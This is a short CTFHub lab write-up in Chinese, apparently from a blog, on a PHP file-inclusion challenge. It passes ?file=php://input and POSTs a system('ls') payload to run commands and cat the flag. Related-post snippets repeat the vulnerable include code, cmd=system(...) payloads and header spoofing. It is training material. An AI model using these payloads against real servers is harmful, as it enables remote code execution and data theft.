CTFHUB--input

最新推荐文章于 2023-03-25 17:00:26 发布
最新推荐文章于 2023-03-25 17:00:26 发布
阅读量113 收藏
点赞数
文章标签： web安全 Powered by 金山文档
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/m0_65766842/article/details/129305053
版权

首先打开题目

这里的题目有一个提示

是要运用php语言的input的语句进行上传。我们首先用bp进行抓包

直接构造请求头，get传入

？file=php://input

post传入

<?php system("ls");?>

没有直接得到flag

我们使用cat命令查找全部文件

得到flag

m0_65766842
关注
CTF网络攻防笔记
濯君
04-18 1173
1, X-Forwarded-For: 用来表示 HTTP 请求端真实 IP，伪造本地访问。 在HTTP请求头里设置：X-Forwarded-For: 127.0.0.1，修改请求IP为本地IP。 2,在HTTP请求头里设置， referer: 告诉服务器该网页是从哪个页面链接过来的，服务器因此可以获得一些信息用于处理。 3, 常用编解码：md5, url编码（有很多%的），base64（结尾是=），HTML页面内容utf-8编解码 4，PHP里比较值不相等，md5,sha1编码之后的值相等，要绕过，构造数
CTFhub php://input
qq_41497476的博客
07-27 3917
这一次相对于远程包含过滤了php://就不能直接利用 input 伪协议完成命令执行了 <?php if (isset($_GET['file'])) { if ( substr($_GET["file"], 0, 6) === "php://" ) { include($_GET["file"]); } else { echo "Hacker!!!"; } } else { highlight_file(__FILE__); } ?&g
ctfhub php://input 解析
qq_73722777的博客
03-09 296
这里可以看见有一个判断file的前六个字符要与php://相等，于是我们可以利用php：//input语句上传我们的一句话木马使其执行。php://input用于执行php代码。于是我们进行抓包，构建payload。打开网页，可以看见是一串php编码。php://input的功能如下。使用cat语句打开flag文件。得到flag，此题结束。
ctfhub php://input-读取源代码
m0_62094846的博客
12-14 238
CTFHub技能书解题笔记-RCE-php://input
qq_43006864的博客
02-23 1586
打开题目 很熟悉的源代码界面。 简单的审计一下。 这里提到了php:// 然后if这段代码的意思是file里的前六个字符必须要等于php://（===表示强制等于） 这里回到题目，题目是php://input ,这里引入知识点： php://input可以读取没有处理过的POST数据。相较于$HTTP_RAW_POST_DATA而言，它给内存带来的压力较小，并且不需要特殊的php.ini设置。php://input不能用于enctype=multipart/form-data 大家..
CTFHub笔记之技能树RCE：eval执行、文件包含、远程包含、php://input、读取源代码
weixin_48799157的博客
03-28 4607
小白一个，如有错误请指正！ 一、eval执行 ?cmd=system("ls"); ?cmd=system("ls%20/"); ?cmd=system("cat%20/flag_26396");
文件包含————ctfhub之php://input
qq_45655564的博客
05-29 3075
php://input php输入流php://input的使用分析 CTFHUB之php:input 首先看到代码 <?php if (isset($_GET['file'])) { if ( substr($_GET["file"], 0, 6) === "php://" ) {#字符串的前6个必须是php://input include($_GET["file"]); } else { echo "Hacker!!!"; } } else
CTFHUB-技能树-WEB通关
Alita_lxz的博客
11-11 7083
Web 题目来自ctfhub技能树web部分 Web前置技能 操作系统 数据库 HTTP协议 请求方式 HTTP 请求方法, HTTP/1.1协议中共定义了八种方法（也叫动作）来以不同方式操作指定的资源。 ​ 1.OPTIONS 　　返回服务器针对特定资源所支持的HTTP请求方法。也可以利用向Web服务器发送’*'的请求来测试服务器的功能性,如获取当前URL所支持的方法。若请求成功，则它会在HTTP头中包含一个名为“Allow”的头，值是所支持的方法，如“GET,POST”。 　2.HEAD 　　向服务
CTFHUB-web-RCE
ookami6497的博客
12-03 1467
无
CTFHUB-web-SSRF
ookami6497的博客
03-25 869
CTFHUB-web-ssrf
CTFhub-ssrf-POST请求
qq_51553814的博客
08-11 3942
CTFhub-ssrf-POST请求 解题 进入靶场，首先看到的是一片空白，没有任何返回，甚至看源码里面也没有任何东西 使用dirsearch扫描，扫出了一个文件/index.php 还有一个flag.php，我是在网上看WP才知道有这个文件，看了很多篇WP都没有说这个文件怎么来的，只是直接说发现了这个文件 现在先来看一看这两个文件吧 首先是flag.php文件，我们让url=127.0.0.1/flag.php，通过内网来访问就能直接访问到了，访问后是一个方框 再看源码发现，需要用post传输一个key
CTFHUB-WEB-RCE
K_ShenH的博客
06-16 852
CTFHUB-WEB-RCE
bugku ctf刷题2(php://input&kali-gobuster扫目录)
weixin_63231007的博客
05-14 1060
Cookies 网页与网页源代码里无有用信息 观察url里内容，发现filename存在base64加密，解密后发现是keys.txt。 尝试用 filename访问index.php（原url使用base64，这里也将index.php进行编码）。line没有传值，试着传1，2，3；发现回显类似与源代码。写个python脚本获取一下这个源代码。 得到源代码为： <?php error_reporting(0); $file=base64_decode(isset($_GET['f.
攻防世界CTF —— PHP本地文件包含漏洞解题思路
weixin_47610939的博客
07-27 4154
攻防世界的CTF web类题目，关于php本地文件包含漏洞的解题思路
ctf镜子里面的世界_实战经验丨CTF中文件包含的技巧总结
weixin_39699746的博客
11-22 207
站在巨人的肩头才会看见更远的世界，这是一篇技术牛人对CTF比赛中文件包含的内容总结，主要是对一些包含点的原理和特征进行归纳分析，并结合实际的例子来讲解如何绕过，全面细致，通俗易懂，掌握这个新技能定会让你在CTF路上少走很多弯路，不看真的会后悔！php伪协议的分类伪协议是文件包含的基础，理解伪协议的原理才能更好的利用文件包含漏洞。php://inputphp://input代表可以访问请求的原始数据...
CTF/CTF练习平台-welcome to bugkuctf【php://filter及php://input】
热门推荐
Sp4rkW的博客
09-01 3万+
原题内容： http://120.24.86.145:8006/test1/ 首先bp一下，可见提示源码： &lt;!-- $user = $_GET["txt"]; $file = $_GET["file"]; $pass = $_GET["password"]; if(isset($user)&amp;&amp;(file_get_contents($...
移动端input“输入框”常见问题及解决方法
weixin_34250709的博客
10-23 3087
1. ios中，输入框获得焦点时，页面输入框被遮盖，定位的元素位置错乱： 当页input存在于吸顶或者吸底元素中时，用户点击输入框，输入法弹出后，fiexd失效，页面中定位好的元素随屏幕滚动。 针对这个问题，我们一起来看下以下几种方案： 方案一： Web API 接口 ：scrollIntoView的应用，将input输入框显示在可视区域。 1 // 输入框获得焦点时，元素移动到...
BUUCTF-[ACTF2020 新生赛]Include 1、读取源代码、php://input
YkingH的博客
07-18 840
BUUCTF-[ACTF2020 新生赛]Include 1 打开页面后，点击tips出现： 将admin.php改为flag.php,即可得到由base64编码过的结果 用burp进行解码 复制flag提交即可 CTFHub-读取源代码 利用php://filter http://challenge-4da2c855f0232708.sandbox.ctfhub.com:10800/?file=php://filter/resource=/flag [外链图片转存失败,源站可能有防盗链机制,建议
Bugku——welcome to bugkuctf（一道练习php://filter和php://input的好题）
csu_vc的博客
10-28 9376
查看源码有提示<!-- $user = $_GET["txt"]; $file = $_GET["file"]; $pass = $_GET["password"]; if(isset($user)&&(file_get_contents($user,'r')==="welcome to the bugkuctf")){ echo "hello admin!<br>";
el-input-number
最新发布
07-27
`el-input-number` 是一个基于 Element UI 的数字输入框组件。它提供了一个可自定义范围的数字输入框，用户可以通过鼠标滚轮或点击按钮来增加或减少数值。你可以使用 `el-input-number` 来实现数字输入和调整的功能。 以下是一个示例代码，展示如何使用 `el-input-number` 组件： ```html <template> <el-input-number v-model="value" :min="1" :max="10" :step="1"></el-input-number> </template> <script> export default { data() { return { value: 1 }; } }; </script> ``` 在上面的示例中，我们使用 `v-model` 指令将 `value` 变量与 `el-input-number` 组件进行双向绑定。通过设置 `min` 和 `max` 属性，我们限制了数值的范围为 1 到 10 之间。`step` 属性表示每次增加或减少的步长为 1。 你可以根据自己的需求，进一步自定义 `el-input-number` 组件的样式和功能。
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值